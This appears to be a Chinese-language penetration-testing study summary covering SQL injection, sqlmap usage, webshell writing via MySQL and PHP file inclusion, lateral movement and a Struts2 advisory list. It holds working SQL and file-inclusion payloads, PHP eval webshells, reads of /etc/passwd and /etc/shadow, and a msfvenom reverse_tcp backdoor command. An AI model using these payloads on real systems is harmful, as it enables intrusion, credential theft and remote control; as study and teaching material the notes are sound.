渗透知识总结


0x01 SQl注入

sql注入介绍

sql注入原理

web应用程序没有对输入的数据进行安全过滤,或者过滤不全面,导致攻击者通过将恶意的SQL语句插入到应用的输入参数中,再在后台SQL服务器上解析执行进行的攻击。

sql注入危害

  • 猜解后台数据库,盗取网站敏感数据信息
  • 绕过认证,例如绕过登录验证
  • 可以借助数据库存储过程来提权
  • 篡改数据库数据
  • 执行系统命令导致程序危害发生

sql注入分类

  • 数字型注入:输入参数为整型时,如Id、年龄和页码等;
  • 字符型注入:输入参数为字符串型(有单引号和双引号之分)时,如姓名、职业、住址等;
  • 搜索型注入:注入点在搜索框中,一般搜索SQL为: like “%关键字%”;
  • 延时注入:使用延时函数方式,例如sleep函数;
  • 编码注入:将输入的字符串进行编码,如base64编码;
  • 堆查询注入:同时执行多条语句,使用;号隔开,例如:select * from users where id=1;select 1,2,3;
  • 多阶注入:由多个HTTP请求响应共同完成的注入;
  • 联合查询注入:使用union操作码合并两条或多条SQL语句;
  • GET注入:注入字符在URL参数中;
  • POST注入:注入字段在POST提交的数据中;
  • Cookie注入:注入字段在Cookie数据中,网站使用通用的防注入程序,会对GET、POST提交的数据进行过滤,却往往遗漏Cookie中的数据进行过滤。
  • HTTP请求头注入:包含Referer 注入、user-agent注入、x-forwarded-for注入
  • 基于时间的盲注:通常是在SQL语句中添加延时函数(sleep、repeat等),依据相应时间来判断是否存在SQL注入;
  • 基于布尔的盲注:通过相应的语句返回的true与false值,判断猜测数据库中数据的具体内容时,可以借助SUBSTR、LIMIT、ASCII等一些特殊的命令及函数进行猜测;
  • insert/update注入: 可以通过插入数据得到回显进行注入,也可以通过结合报错注入进行注入
  • 宽字节注入: 在一些情况下,数据库使用了gbk编码,导致我们可以绕过addslashes函数
  • 二次注入:当后台对我们插入的数据进行了转义,但是对从数据库查询出的数据直接放到了sql语句中进行执行,可能会造成二次注入

sql盲注

盲注的过程非常的繁琐,手工注入效率太低,可以使用Burp、SQLmap或者是自己编写Python脚本进行自动化测试。

sql盲注时常用到以下的函数:

  • substr()
    • substr(string, pos, len):从pos开始,取长度为len的子串
    • substr(string, pos):从pos开始,取到string的最后
  • substring()
    • 用法和substr()一样
  • mid()
    • 用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的
  • left()和right()
    • left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串
  • limit
    • limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始
  • ascii()和char()
    • ascii(char):把char这个字符转为ascii码
    • char(ascii_int):和ascii()的作用相反,将ascii码转字符

布尔盲注

攻击者通过发起不同请求观察响应内容的相同与否,判断某条SQL判断的结果是TRUE还是FALSE,来间接地猜测数据库中的数据。

先猜解长度 之后逐个通过ascii猜解通过返回不同的结果来判断

select * from xxx where id='12' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109

select ascii(substr(database(),1,1))=100;

时间盲注

攻击者通过注入延时语句(比如sleep )强制数据库延时一种长的时间,用于判断某条判断语句是true还是false,从而间接地猜测数据库中的数据。

猜解长度 之后逐个通过ascii猜解通过返回不同的时间来判断

select * from xxx where id='12' and if(ascii(substr((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1 )) > 120,sleep(2),NULL)

order by注入

order by是mysql中对查询数据进行排序的方法(升序ASC 降序 DESC)

select * from xxx order by updatexml(1,if(1=2,1,user()),1) # 条件1=2,会报错回显user()

select * from xxx order by IF(1=1,1,(select+1+union+select+2))

select * from xxx order by (select+1+regexp+if(1=1,1,0x00))

select * from xxx order by extractvalue(1,if(1=1,1,user()))

select * from xxx order by if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))

也可以用来判断字段数 order by 1,2,3,...n,数值逐个递增尝试,当到n时报错,则说明存在n-1个字段数,之后配合union select 1,2,...,n-1进行注入,确定回显位置

配合 union 来注入

username=admin' union 1,2,'字符串' order by 3

配合 if() 盲注

order by if(1=1,id,username);

if((select ascii(substr(table_name,1,1)) from information_schema.tables limit 1)<=128,id,username)

order by if(表达式,1,(select id from information_schema.tables))

如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面。

配合时间盲注

order by if(1=1,1,sleep(1))

select * from ha order by if(1=1,1,sleep(1)); #正常时间
select * from ha order by if(1=2,1,sleep(1)); #有延迟

同样的,我们可以在上面的payload中替换我们想要的语句
order by if((select ascii(substr(table_name,1,1)) from information_schema.tables limit 1)<=128,1,sleep(1))

配合报错注入

/?order=IF(1=1,1,(select+1+union+select+2)) 正确
/?order=IF(1=2,1,(select+1+union+select+2)) 错误

/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常
/?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误

利用regexp
/?order=(select+1+regexp+if(1=1,1,0x00)) 正常
/?order=(select+1+regexp+if(1=2,1,0x00)) 错误

利用updatexml
/?order=updatexml(1,if(1=1,1,user()),1) 正确
/?order=updatexml(1,if(1=2,1,user()),1) 错误

利用extractvalue
/?order=extractvalue(1,if(1=1,1,user())) 正确
/?order=extractvalue(1,if(1=2,1,user())) 错误

数据猜解
/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确
/?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误
可以得知user()第一位为r,ascii码的16进制为0x72

猜解当前数据库的表名:
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误

猜解指定表名中的列名:
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误

https://www.cnblogs.com/wangtanzhi/p/12590172.html

sql其他注入

联合注入

order by 判断字段数或者通过union select 1,2,3.。。。。。来判断字段数和输出位置

获取当前数据库 union select 1,database()-- -

获取数据库中的表 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

获取表中的字段名 union select 1,group_concat(column_name) from information_schema.columns where table_name=’ '-- -

报错注入

select count(*),(concat(floor(rand(0)*2),(select version())))x from user group by x;

select * from xxx where id='12' or extractvalue(1,concat(user(),0x7e,version()))

select * from xxx where id='12' or updatexml(1,concat(user(),0x7e,version()),1)

limit 注入

limit格式

limit [位置偏移量],行数

注入例子

select*from limittest limit 1,[可控点] or select ... limit [可控点]

注入分为两种情况

第一种:不存在 order by

这种情况下 limit 后面可以使用 union 进行联合查询注入

第二种:存在 order by

此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入

limit后面能够拼接的函数只有into和procedure,into可以用来写文件,本文我们不考虑。

在Limit后面 可以用 procedure analyse()这个子查询

而且只能用extractvalue 和 benchmark 函数进行延时

procedure analyse(updatexml(rand(),concat(0x3a,benchmark(10000000,sha1(1)))),1)
select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

insert/update注入

可以通过插入数据得到回显进行注入,也可以通过结合报错注入进行注入

update xxx set id='1' | select conv(hex(substr((select table_name from information_schema.tables where table_schema=schema() limit 0,1),1 + (n-1) * 8, 8n)), 16, 10);
insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8 n)),16, 10);

注,上面方法在高版本mysql下不一定生效

update xxx set id='xx'+(select conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10);)+'xx'

between 注入

绕过比较符号”<>”(sqlmap盲注经常需要用到”<>”,使用between的脚本,或者greatest()/least函数的脚本)

between a and b:返回a,b之间的数据,不包含b
select * from manager where id between 1 and 3;

sqlmap使用between脚本

--tamper "between"

二次注入

当后台对我们插入的数据进行了转义,但是对从数据库查询出的数据直接放到了sql语句中进行执行,可能会造成二次注入

我们注册用户名为123' 经过addslashes的转义变成123\' 存储在数据库中的还是123' 当后端在用我们用户名查询的时候就会得到 select * from xxx where id='12''从而造成二次注入

sql文件写入

条件

secure-file-priv是一个系统变量,对于文件读/写功能进行限制。具体如下:

secure-file-priv的值如下三种情况
1. 无内容,表示无限制。
2. 为NULL,表示禁止文件读/写。
3. 为目录名,表示仅允许对特定目录的文件进行读/写。

注:5.5.53本身及之后的版本默认值为NULL,之前的版本无内容。

三种方法查看当前secure-file-priv的值:

  • select @@secure_file_priv;
  • select @@global.secure_file_priv;
  • show variables like "secure_file_priv";

修改:

通过修改my.ini文件,添加:secure-file-priv=

启动项添加参数:mysqld.exe –secure-file-priv=

读取

Mysql读取文件通常使用load_file函数,语法如下:

select load_file(file_path);
select load_file("d:/flag.txt");

第二种读文件的方法:

load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取服务端文件

第三种读文件的方法:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取客户端文件

限制:

前两种需要secure-file-priv无值或为有利目录。

都需要知道要读取的文件所在的绝对路径。

要读取的文件大小必须小于max_allowed_packet所设置的值

写入

通过设置mysql日志目录

set global general_log=on;set global general_log_file='C:/phpStudy/WWW/123.php';select '<?php eval($_POST[123]) ?>';

set 命令在sql注入中需要在堆叠注入中使用,在查询注入中不可用

into outfile / into dumpfile 写文件

select '<?php phpinfo(); ?>' into outfile 'c:/123.php';

sqlmap 常用语法

tamper脚本使用方法:https://www.freebuf.com/sectool/179035.html

-u 指定一个url连接,url中必须带有有参数,类似格式 ?xx=xx 才行

-l 后接一个log文件,可以是burp等的代理的log文件

-m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url

-r 可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标

--method=METHOD 指定是get方法还是post方法

--data=DATA 指明参数是哪些

--cookie=COOKIE 指定测试时使用的cookie

--user-agent=AGENT 指定一个user-agent的值进行测试

--random-agent 使用随机user-agent进行测试

--referer=REFERER 指定http包中的refere字段

-p TESTPARAMETER 知道测试的参数

--level=LEVEL 设置测试的等级

–string=STRING` 在基于布尔的注入时,有的时候返回的页面一次一个样,需要我们自己判断出标志着返回正确页面的标志,会根据页面的返回内容这个标志(字符串)判断真假,可以使用这个参数来制定看见什么字符串就是真。。

--technique=TECH 指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)

–time-sec=TIMESEC` 在基于时间的盲注的时候,指定判断的时间,单位秒,默认5秒。

–union-cols=UCOLS 联合查询的尝试列数

--current-user 当前用户

--current-db 当前数据库

–is-dba 是否为dba

–users 查询一共都有哪些用户

–passwords 查询用户密码的哈希

--dbs 目标服务器中有什么数据库

--tables 目标数据库有什么表

--columns 目标表中有什么列

–dump 这个就不解释了

–sql-query=QUERY` 执行一个sql语句。

–sql-shell` 创建一个sql的shell。

--os-shell 创建一个对方操作系统的shell,远程执行系统命令。

SQL注入sleep函数被禁

使用相同作用的其他函数,如:BENCHMARK,Get_lock函数,当都被禁用后可以用计算量比较大的语句使数据库查询时间变长,从而达到延时注入的效果。

mysql:AND (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C);

mysql注入udf提权

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

windows下udf提权的条件

  • 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下/
  • 如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
  • 拥有可以将udf.dll写入相应目录的权限。
select Host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
  • 当 plugin 的值为空时不可提权
  • 当 plugin 值为 mysql_native_password 时可通过账户连接提权

udf.dll在sqlmap里可以找到,sqlmap/udf/mysql/windows下边有32和64两种,这里的位数是mysql的位数,并不是对方系统的位数
sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py

在提权中我们只能使用dll文件中存在的函数

SQL关键词被禁绕过

https://blog.csdn.net/huanghelouzi/article/details/82995313
https://www.cnblogs.com/-chenxs/p/11618846.html

  • 大小写绕过: UniOn SeleCt
  • 双写关键字绕过: ununionion seselectlect
  • 内联注释绕过: and /*!select*/ 1,2
  • 编码绕过: 16进制、两次url编码、unicode编码、ASCII编码(新版中貌似不能用了)
  • <>绕过: 某些网站过滤了“<>”符号才行: unio<>n sel<>ect
  • 注释符绕过: uni/**/on se/**/lect--空格#号、;号、/*注释*/
  • 对空格的绕过: /**/%20 %09()、回车(url编码中的%0a)、(tab键上面的按钮)、tab键、两个空格
  • 对or/and的绕过 and等价于&&or等价于||xor等价于|not等价于!
  • 对等号=的绕过:不加通配符(%)的like、不加通配符(%)的rlike、regexp操作符进行正则匹配、<>等价于!= ,所以在前面再加一个!就是等号了,例!(id<>1)
  • 对单引号的绕过: 宽字符(过滤单引号时:%bf%27 %df%27 %aa%27)、使用十六进制编码 'users'=>0x7573657273
  • 过滤函数绕过:
    • sleep() –>benchmark():and sleep(1)等价于and benchmark(1000000000,1)
    • group_concat()–>concat_ws():select group_concat("str1","str2");等价于select concat_ws(“,”,”str1”,”str2”);
  • 对逗号的绕过: 如下

使用substr()函数

select substr("string",1,3);
等价于 select substr("string" from 1 for 3);

使用join关键字来绕过

union select 1,2,3
等价于 union select * from (select 1)a join (select 2)b join (select 3)c

使用offset关键字:

适用于limit中的逗号被过滤的情况
limit 2,1等价于limit 1 offset 2

mysql5.7 安全特性

mysql5.7 user 表变化

5.7版本的用户表mysql.user要求plugin字段非空,且默认值是mysql_native_password认证插件,并且不再支持mysql_old_password认证插件。

5.7版本的用户长度最大为32字节,之前最大长度为16字节,并且CREATE USER 和 DROP USER 命令里实现了 IF [NOT] EXISTS 条件判断。

5.7版本之后的用户通过grant创建用户报warning提示grant方法将被移除,用cerate user代替了

账户创建: CREATE USER 'dxy'@'localhost' IDENTIFIED BY '123456';
账户授权: grant select,insert,update,delete on dba_test.* to dxy@localhost;
查看权限: show grants for root@localhost;
查看密码: show create user dxy@localhos

https://www.cnblogs.com/zhoujinyi/p/5627494.html

CVE-2016-6662:MySQL <= 5.7.15 远程代码执行/权限提升 (0day)

一些默认的mysql安装方式并且mysqld_safe脚本作为包装器以root权限启动mysql服务进程

攻击者能够将其恶意的库文件路径插入到配置文件(my.cnf)中,就可以加载任意库,当mysql服务重启(手动、系统更新包更新、系统重启等)时,可以以root权限执行任意代码。

 /etc/my.cnf 全局配置

/etc/mysql/my.cnf 全局配置

SYSCONFDIR/my.cnf 全局配置

$MYSQL_HOME/my.cnf 服务特定配置

https://blog.csdn.net/yanghuan313/article/details/52841341

phpmyadmin 渗透思路

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。

在对目标进行信息收集时,若存在phpMyAdmin目录,尝试通过弱口令或者暴力破解进入数据库,之后进一步getShell。

getshell条件:

  • 必清楚网站的物理路径
  • 具有管理员root权限
  • 具有网站读写权限

读写权限检查

show global variables like '%secure%';
  1. 当secure_file_priv的值为null ,表示限制MySQL 不允许导入|导出
  2. 当secure_file_priv的值为/tmp/ ,表示限制MySQL 的导入|导出只能发生在/tmp/目录下
  3. 当secure_file_priv的值没有具体值时,表示不对 MySQL 的导入|导出做限制

要想导入一句话shell成功,则需要在MySQL文件夹下修改 my.ini 文件,

在[mysqld]下加入以下内容,然后重启MySQL即可

secure_auth = ON
secure_file_priv =

into outfile写shell

select '<?php eval($_POST[cmd]); ?>' into outfile '网站物理路径';

日志文件写shell

MySQL 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getShell。但是也要对生成的日志有可读可写的权限。

SET GLOBAL general_log='on'
SET GLOBAL general_log_file='C:/phpStudy/www/shell_log.php'
SELECT '<?php eval($_POST["cmd"]);?>'

http://luckyzmj.cn/posts/70ca8aea.html

SQL注入防御

  1. 使用参数化查询接口或在代码级对带入SQL语句中的外部参数进行转义或过滤;
  2. 对于整数,判断变量是否符合[0-9]的值;其他限定值,也可以进行合法性校验;
  3. 对于字符串,对SQL语句特殊字符进行转义(单引号转成两个单引号,双引号转成两个双引号)。

0x02 文件包含

https://blog.csdn.net/Vansnc/article/details/82528395

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

PHP中文件包含函数有以下三种:

  • require()
  • include()
  • include_once()

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

目录遍历

首先测试看看有没有目录遍历漏洞,尝试获取敏感信息文件,对于能否文件包含,主要看php.ini文件里的配置

常见的敏感信息路径:

Windows系统


c:\windows\php.ini // php 配置信息

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

Linux/Unix系统


/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置


/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

session文件包含漏洞

session的存储位置获取方法

  1. 通过phpinfo的信息可以获取到session的存储位置。通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:
  2. 通过猜测默认的session存放位置进行尝试。如linux下默认存储在/var/lib/php/session目录下

攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

有限制本地文件包含

%00截断

条件:magic_quotes_gpc = Off php版本<5.3.4

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

测试结果:

http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00

路径长度截断

条件:windows OS,点号需要长于256;linux OS 长于4096

Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

payload

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

点号截断

条件:windows OS,点号需要长于256

测试代码

<?php
    $filename  = $_GET['filename'];
    include($filename . ".html");
?>

payload

http://www.ctfs-wiki.com/FI/FI.php
?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

远程包含

无限制远程包含

测试代码

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

通过远程文件包含漏洞,包含php.txt可以解析。

http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.133/FI/php.txt

有限制远程包含

测试代码

<?php include($_GET['filename'] . ".html"); ?>

代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。

问号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
#号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
空格绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20

PHP伪协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。

除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

php:// 输入输出流

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

php://filter(本地磁盘文件进行读取)

元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。

条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

用法:

?filename=php://filter/convert.base64-encode/resource=xxx.php 
?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一样。

php://input

可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。如果设置了 enctype=”multipart/form-data” ,则 php://input 是无效的。

用法:

?file=php://input 数据利用POST传过去。

php://input (读取POST数据)

碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;

测试代码:

<?php
    echo file_get_contents("php://input");
?>

测试:

在url地址中访问漏洞页面的同时提交post data 数据

php://input(写入木马)

条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行。

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

如果POST的数据是执行写入一句话木马的PHP代码,就会在当前目录下写入一个木马。

访问url

?filename=php://input

同时传递post data数据如下

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

如果不开启allow_url_include会报错:报错信息

php://input(命令执行)

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

条件:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30),就可以造成任意代码执行,在这可以理解成远程文件包含漏洞(RFI),即POST过去PHP代码,即可执行;

访问URL

?filename=php://input

同时传递post data

<?php system('whoami');?>

POST过去PHP代码如果不开启allow_url_include会报错

file://伪协议 (读取文件内容)

通过file协议可以访问本地文件系统,读取到文件的内容

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

用法

?filename=file://c:/boot.ini

data://伪协议

数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的; data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4

data://(读取文件)

和php伪协议的input类似,碰到 file_get_contents() 来用;

<?php 
// 打印 “I love PHP” 
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo='); 
?>

注意:<span style="color: rgb(121, 121, 121);"><?php phpinfo();,这类执行代码最后没有?></span>闭合;

如果php.ini里的allow_url_include=On(PHP < 5.3.0),就可以造成任意代码执行,同理在这就可以理解成远程文件包含漏洞(RFI)

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

phar://伪协议

这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

用法:

?file=phar://压缩包/内部文件
?file=phar://xxx.png/shell.php 

注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。

zip://伪协议

zip伪协议和phar协议类似,但是用法不一样。

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

条件: PHP > =5.3.0,注意在windows下测试要5.3.0<PHP<5.4 才可以 #在浏览器中要编码为%23,否则浏览器默认不会传输特殊字符。

用法:

?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名] 
?file=zip://xxx.png#shell.php

0x03 横向渗透

https://www.fujieace.com/penetration-test/lateral-penetration.html

拿到一台服务器system权限如何横向渗透

渗透主要流程

  • 主机发现->存活主机(计算机名、MAC地址、IP地址)
  • 扫描主机->端口、系统、服务版本漏洞、系统版本漏洞、密码等
  • 根据获取的信息,查找相关漏洞exp,https://cn.0day.today/
  • 攻击主机
  • 获取权限

内网信息收集

首先使用nmap扫描内网主机,获取内网中其他服务器主机的信息

nmap -T4 -A -v 192.168.0.128
nmap -T4 -A -v 192.168.0.1/24

可利用手段

  • ARP欺骗
  • 会话劫持
  • DNS劫持

工具:netfuke、cain、ettercap、arpspoof、cobaltstrike

口令密码

获取 windows 服务器本地密码

  • 工具:getpass、Mimikatz

服务弱口令爆破

  • 工具:hydra

UAC

用户帐户控制(User Account Control,简写作UAC),该控制会阻止应用软件执行,需要输入密码才能运行。

突破UAC,MSF内有利用工具EXP,也可在网上搜索相关突破UAC工具

端口转发

被攻击机上:
将本地的3389端口转发至 攻击机(192.168.0.106) 上的3333端口
lcx.exe -slave 192.168.0.106 3333 127.0.0.1 3389

攻击机上:
监听本地3333端口并转发至1111,然后连接本地的1111端口即可!
lcx.exe -listen 3333 1111

注意:攻击机上的端口必须是未使用的,可以使用 `netstat -an |find "1111"` 命令来进行查看是否已被别的服务占用

文件上传下载

Linux:wget、curl

Windows:powershell(win高版本)、ftp脚本(win低版本)

www.zhangshengrong.com/p/281oQGrNwz

SSRF利用

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

模拟环境:

- A主机:192.168.38.129
- B主机:27.19.126.82 192.168.0.101
- C主机:192.168.0.106

A能连接B,B能连接C,A不能连接C

攻击者A访问:192.168.0.101/ssrf/index.php?url=192.168.0.106:80

通过B主机的SSRF漏洞去探针C主机的80端口

真实环境:

网站服务器IP:202.104.15.185

存在www.xiaodi8.com网站

同时存在内网IP:192.168.0.105

同网段服务器IP:192.168.0.1 - 192.168.0.255

攻击者可以通过访问 www.xiaodi8.com 利用此网站的SSRF漏洞

去探针192.168.0.1 - 192.168.0.225 上的情况并进得漏洞利用

后门利用

配置Metasploit exe后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP -f exe /root/desktop/test.exe  //生成后门

进入MSF控制台
msf > use exploit/multi/handler   //使用模块
msf > exploit(Handler) > set LHOST IP //设置kali的IP
msf > exploit(Handler) > run    //监听,默认端口4444

0x04 Java框架漏洞

Struts2

【面试】【Struts2常见问题总结】【01】
【面试】【Struts2常见问题总结】【02】
Struts2著名RCE漏洞引发的十年之思
Struts2漏洞总结(到19年4月)
全版本struts2漏洞练习

S2-001 - 远程代码利用表单验证错误
S2-002 - <s:url>和<s:a>标记上的跨站点脚本(XSS)漏洞
S2-003 - XWork ParameterInterceptors旁路允许OGNL语句执行
S2-004 - 提供静态内容时的目录遍历漏洞
S2-005 - XWork ParameterInterceptors旁路允许远程命令执行
S2-006 - XWork中的多个跨站点脚本(XSS)生成错误页面
S2-007 - 当出现转换错误时,用户输入被评估为OGNL表达式
S2-008 - Struts2中的多个关键漏洞
S2-009 - ParameterInterceptor漏洞允许远程命令执行
S2-010 - 当使用Struts 2令牌机制进行CSRF保护时,可能会因滥用已知会话属性而绕过令牌检查
S2-011 - 长请求参数名称可能会显着提高DOS攻击的有效性
S2-012 - 展示应用程序漏洞允许远程命令执行
S2-013 - URL和锚标记的includeParams属性中存在的漏洞允许远程命令执行
S2-014 - 强制参数包含在URL和锚标记中引入的漏洞允许远程命令执行,会话访问和操作以及XSS攻击
S2-015 - 通配符匹配机制引入的漏洞或OGNL表达式的双重评估允许远程命令执行。
S2-016 - 通过操作前缀为“action:”/“redirect:”/“redirectAction:”的参数引入的漏洞允许远程命令执行
S2-017 - 通过操作前缀为“redirect:”/“redirectAction:”的参数引入的漏洞允许打开重定向
S2-018 - Apache Struts2中的访问控制漏洞
S2-019 - 默认情况下禁用动态方法调用
S2-020 - 将Commons FileUpload升级到版本1.3.1(避免DoS攻击)并添加'class'以排除ParametersInterceptor中的params(避免ClassLoader操作)
S2-021 - 改进了ParametersInterceptor和CookieInterceptor中被排除的参数,以避免ClassLoader操作
S2-022 - 在CookieInterceptor中扩展排除的params以避免操纵Struts的内部
S2-023 - 令牌的生成值可以预测
S2-024 - 错误的excludeParams会覆盖DefaultExcludedPatternsChecker中定义的那些
S2-025 - 调试模式和公开的JSP文件中的跨站点脚本漏洞
S2-026 - 特殊顶级对象可用于访问Struts的内部
S2-027 - TextParseUtil.translateVariables不过滤恶意OGNL表达式
